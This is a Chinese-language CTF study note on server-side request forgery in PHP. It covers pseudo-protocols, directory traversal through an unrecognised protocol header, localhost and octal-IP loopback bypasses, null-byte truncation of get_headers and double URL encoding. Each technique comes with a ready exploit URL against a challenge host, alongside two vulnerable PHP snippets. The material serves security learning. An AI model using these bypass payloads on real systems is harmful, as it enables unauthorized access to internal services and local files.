SSRF

SSRF漏洞

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

可能出现SSRF的函数有:file_get_contents()curl()fsocksopen()fopen()

php黑魔法:当输入的协议是php所没有的,它会当成目录去解析。

php伪协议小收集
1
2
3
4
5
6
7
8
9
10
11
12
13
//参考网站:https://segmentfault.com/a/1190000018991087

file://协议。用于访问文件本地系统

php://协议。访问各个输入/输出流。php://filter用于读取源码,php://input用于执行php代码
zip://&bzip2//&zlib://协议。可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif等等

data://协议。 用来执行php代码

http:// & https://协议。常规URL形式,允许通过HTTP1.0的GET方法,以只读访问文件或资源。CTF中经常用于远程包含。

phar://协议。 与zip://类似,同样可以访问zip格式压缩包内容。

不存在协议头绕过

当PHP的 file_get_contents() 在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。

这里是要匹配到http,然后在http后面加上abc等(不满足http协议就可以),这样的话这个httpabc协议php就识别不了,会当做一个目录

./ 当前目录 ../ 父级目录 / 根目录

由于我们不知道需要跳转多少次的目录才可以读取文件,所以尽量输入足够多的跳转目录。

1
http://39.107.126.173:28763/?a=httpabc://../../../../../../../../flag
ip限制绕过
回环地址绕过

如果IP被限制,拒绝某个IP进行访问,并且只有这个ip访问才能得到flag,这种情况可以使用方法进行绕过。

localhost

localhost是给回路网络接口的一个标准主机名,本地地址就是127.0.0.1(因为localhot是不经网卡传输,所以它不受网络防火墙和网卡相关的的限制。这点和直接输入127.0.0.1有所区别)

虽然这里禁止了127.0.0.1访问,但是localhost代替127.0.0.1绕过

1
2
3
4
//上面是正常用IP地址访问,下面是用localhost代替绕过
http://39.107.126.173:28284/?a=http://127.0.0.1/flag.php

http://39.107.126.173:28149/?a=http://localhost/flag.php
特殊IP绕过IP限制

用其他进制表示127.0.0.1。比如八进制,127.0.0.1的八进制表示为017700000001。

1
http://39.107.126.173:28674/?a=http://017700000001/flag.php
get_headers 绕过

因为get_headers存在00截断漏洞因此可以使用00截断导致get_headers成功。

原理:0X00和%00是同一个原理,就是用了十六进制表示方法,同时也是ascii码为0的字符。系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。那么就可以利用这个提前截断限制进行绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
highlight_file(__FILE__);
$url = $_GET['url'];
$host = parse_url($url, PHP_URL_HOST);
if(preg_match("/^google\.com$/i", $host) or preg_match("/(.*)\.google\.com$/i", $host))
{
$headers = get_headers($url,1);
if(preg_match('/200/', $headers[0])){
echo file_get_contents("/flag");
}
}else{
die("Only dd working at Google can get the key!");

}
?>

exp

1
http://39.107.126.173:28663/?url=http://127.0.0.1%00www.google.com
双url绕过
1
2
3
4
5
6
7
8
9
10
11
<?php
$b = strpos($_GET['a'], 'flag');
if($b) {
die("Bye!");
}
$c = curl_init();//初始化
curl_setopt($c, CURLOPT_URL, $_GET['a']);//设置url
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);//获取页面neural
curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 5);//设置超时
echo curl_exec($c);//执行curl
?>

这里可以知道,flag字符串中的a直接被用strpos函数识别,阻止操作flag。这里就可以用到双URL绕过。由于一次GET传输会先进行URL解码,而SSRF同样支持url解码,因此这里我们可以使用双url编码。将flag中的a进行双url编码%25%36%31即可绕过。